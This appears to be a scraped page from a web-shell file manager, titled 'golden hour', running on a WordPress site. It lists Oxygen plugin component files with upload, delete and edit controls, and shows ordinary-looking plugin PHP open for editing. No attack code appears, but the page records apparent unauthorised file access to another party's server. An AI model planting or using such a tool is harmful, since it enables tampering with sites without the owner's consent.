golden hour
/home/godaofbq/hyperbarics4u.com/wp-content/plugins/oxygen/component-framework/components/classes
⬆️ Go Up
Upload
File/Folder
Size
Actions
a11y-site-nav
-
Del
OK
code-block.class.php
9.79 KB
Del
OK
comment-form.class.php
7.6 KB
Del
OK
comments-list-templates
-
Del
OK
comments-list.class.php
14.51 KB
Del
OK
data.comment-form.class.php
4.38 KB
Del
OK
div-block.class.php
4.34 KB
Del
OK
dynamic-list.class.php
318.88 KB
Del
OK
easy-posts-templates
-
Del
OK
easy-posts.class.php
70.05 KB
Del
OK
fancy-icon.class.php
7.65 KB
Del
OK
gallery
-
Del
OK
gallery.class.php
45.29 KB
Del
OK
header-row-center.class.php
1.61 KB
Del
OK
header-row-left.class.php
1.59 KB
Del
OK
header-row-right.class.php
1.6 KB
Del
OK
header-row.class.php
7.26 KB
Del
OK
header.class.php
12.43 KB
Del
OK
headline.class.php
3.35 KB
Del
OK
icon-box.class.php
29.44 KB
Del
OK
image.class.php
12.35 KB
Del
OK
inner-content.class.php
5.73 KB
Del
OK
li.class.php
3.08 KB
Del
OK
link-button.class.php
5.73 KB
Del
OK
link-text.class.php
5.25 KB
Del
OK
link-wrapper.class.php
4.74 KB
Del
OK
login-form.class.php
6.88 KB
Del
OK
map.class.php
2.36 KB
Del
OK
menu-pro
-
Del
OK
menu-pro.class.php
74.72 KB
Del
OK
menu.class.php
32.7 KB
Del
OK
modal.class.php
39.85 KB
Del
OK
nestable-shortcode.class.php
3.85 KB
Del
OK
new-columns.class.php
7.94 KB
Del
OK
pricing-box.class.php
80.82 KB
Del
OK
progress-bar.class.php
21.21 KB
Del
OK
reusable.class.php
2.27 KB
Del
OK
rich-text.class.php
4.67 KB
Del
OK
search-form.class.php
6.92 KB
Del
OK
section.class.php
5.69 KB
Del
OK
selector.class.php
3.3 KB
Del
OK
shape-divider
-
Del
OK
shape-divider.class.php
101.89 KB
Del
OK
shortcode.class.php
5.7 KB
Del
OK
sidebar.class.php
2.1 KB
Del
OK
site-nav.class.php
54.08 KB
Del
OK
slide.class.php
3.34 KB
Del
OK
slider.class.php
22.83 KB
Del
OK
social-icons.class.php
23.93 KB
Del
OK
soundcloud.class.php
3.92 KB
Del
OK
span.class.php
4.5 KB
Del
OK
superbox.class.php
26.58 KB
Del
OK
svg-icon.class.php
6.78 KB
Del
OK
tab-content.class.php
2.81 KB
Del
OK
tab.class.php
2.79 KB
Del
OK
tabs-contents.class.php
3.08 KB
Del
OK
tabs.class.php
7.16 KB
Del
OK
testimonial.class.php
32.71 KB
Del
OK
text-block.class.php
3.64 KB
Del
OK
toggle.class.php
9.31 KB
Del
OK
toolset-view.class.php
4.67 KB
Del
OK
video.class.php
4.84 KB
Del
OK
widget.class.php
6.67 KB
Del
OK
Edit: inner-content.class.php
<?php Class CT_Inner_Content extends CT_Component { var $shortcode_options; var $shortcode_atts; function __construct( $options ) { // run initialization $this->init( $options ); // add shortcodes add_shortcode( $this->options['tag'], array( $this, 'add_shortcode' ) ); add_oxygen_element( $this->options['tag'], array( $this, 'add_shortcode' ) ); add_filter( 'template_include', array( $this, 'ct_innercontent_template'), 100 ); for ( $i = 2; $i <= 16; $i++ ) { add_shortcode( $this->options['tag'] . "_" . $i, array( $this, 'add_shortcode' ) ); } } /** * Add a [ct_inner_content] shortcode to WordPress * * @since 1.2.0 */ function add_shortcode( $atts, $content, $name ) { if ( ! $this->validate_shortcode( $atts, $content, $name ) ) { return ''; } $options = $this->set_options( $atts ); $html = ""; $shortcodes = ""; $post_id = get_the_ID(); ob_start(); global $oxygen_vsb_css_caching_active; echo "<".esc_attr($options['tag'])." id='" . esc_attr( $options['selector'] ) . "' class='" . esc_attr( $options['classes'] ) . "'>"; if(isset($_REQUEST['oxy_preview_revision']) && is_numeric($_REQUEST['oxy_preview_revision'])) { $shortcodes = Oxygen_Revisions::get_post_meta_db( $post_id, null, true, null, OBJECT, $_REQUEST['oxy_preview_revision'] )->meta_value; $json = oxygen_safe_convert_old_shortcodes_to_json($shortcodes); $components_tree = json_decode($json, true); if ($components_tree) { $html = do_oxygen_elements($components_tree['children']); } } else if (isset($oxygen_vsb_css_caching_active) && $oxygen_vsb_css_caching_active===true) { $shortcodes = "no shortcodes"; } else { $json = get_post_meta( $post_id, 'ct_builder_json', true ); $components_tree = json_decode($json, true); if ($components_tree) { $html = do_oxygen_elements($components_tree['children']); } else { $shortcodes = get_post_meta( $post_id, 'ct_builder_shortcodes', true ); } if( class_exists('Oxygen_Gutenberg') && get_post_meta( $post_id, 'ct_oxygenberg_full_page_block', true ) == '1' ) { $post = get_post($post_id); $blocks = do_blocks( $post->post_content ); } } if(empty(trim($shortcodes))&&empty(trim($html))) { // find the template that has been assigned to innercontent $template = ct_get_inner_content_template(); if($template) { $json = get_post_meta($template->ID, 'ct_builder_json', true); $json = json_decode($json, true); if (isset($json['children']) && is_array($json['children']) && count($json['children'])>0) { echo do_oxygen_elements($json['children']); } else{ $shortcodes = get_post_meta($template->ID, 'ct_builder_shortcodes', true); $json = ""; } } if ($shortcodes) { echo ct_do_shortcode($shortcodes); } else if (!(isset($json['children']) && is_array($json['children']) && count($json['children'])>0)) { // RENDER default content if(function_exists('is_woocommerce') && is_woocommerce()) { woocommerce_content(); } else { // Use WordPress post content as inner content while ( have_posts() ) { the_post(); the_content(); } } } } else { if ( isset($blocks) ) { $content = $blocks; } else if ($html) { $content .= $html; } else if (is_array($content)) { $content += $components_tree['children']; } else { $content .= $shortcodes; } } if ( ! empty( $content ) ) { echo (is_array($content)) ? do_oxygen_elements( $content ) : ct_do_shortcode( $content ); } echo "</".esc_attr($options['tag']).">"; return ob_get_clean(); } function ct_innercontent_template( $template ) { $new_template = ''; if(isset($_REQUEST['action']) && stripslashes($_REQUEST['action']) == 'ct_render_innercontent') { $nonce = $_REQUEST['nonce']; $post_id = $_REQUEST['post_id']; // check nonce if ( ! wp_verify_nonce( $nonce, 'oxygen-nonce-' . $post_id ) ) { // This nonce is not valid. die( 'Security check' ); } if ( file_exists(dirname(dirname( __FILE__)) . '/layouts/' . 'innercontent.php') ) { $new_template = dirname(dirname( __FILE__)) . '/layouts/' . 'innercontent.php'; } } if ( '' != $new_template ) { return $new_template ; } return $template; } /** * Add a toolbar button * * @since 0.1 */ function component_button() { if (oxygen_hide_element_button($this->options['tag'])) { return; } $post_type = get_post_type(); if ( $post_type != "ct_template") { return; } ?> <div class="oxygen-add-section-element" data-searchid="<?php echo strtolower( preg_replace('/\s+/', '_', sanitize_text_field( $this->options['name'] ) ) ) ?>" ng-click="iframeScope.addComponent('<?php echo esc_attr( $this->options['tag'] ); ?>')"> <img src='<?php echo CT_FW_URI; ?>/toolbar/UI/oxygen-icons/add-icons/inner-content.svg' /> <?php echo esc_html($this->options['name']); ?> </div> <?php } } // Create instance global $oxygen_vsb_components; $oxygen_vsb_components['inner_content'] = new CT_Inner_Content( array( 'name' => 'Inner Content', 'tag' => 'ct_inner_content', 'params' => array( array( "type" => "tag", "heading" => __("Tag", "oxygen"), "param_name" => "tag", "value" => array ( "div" => "div", "section" => "section", "article" => "article", "main" => "main", ), "css" => false, "rebuild" => true, ), ), 'advanced' => array( "positioning" => array( "values" => array ( 'width' => '100', 'width-unit' => '%', ) ), 'allow_shortcodes' => true, ) ) );
Save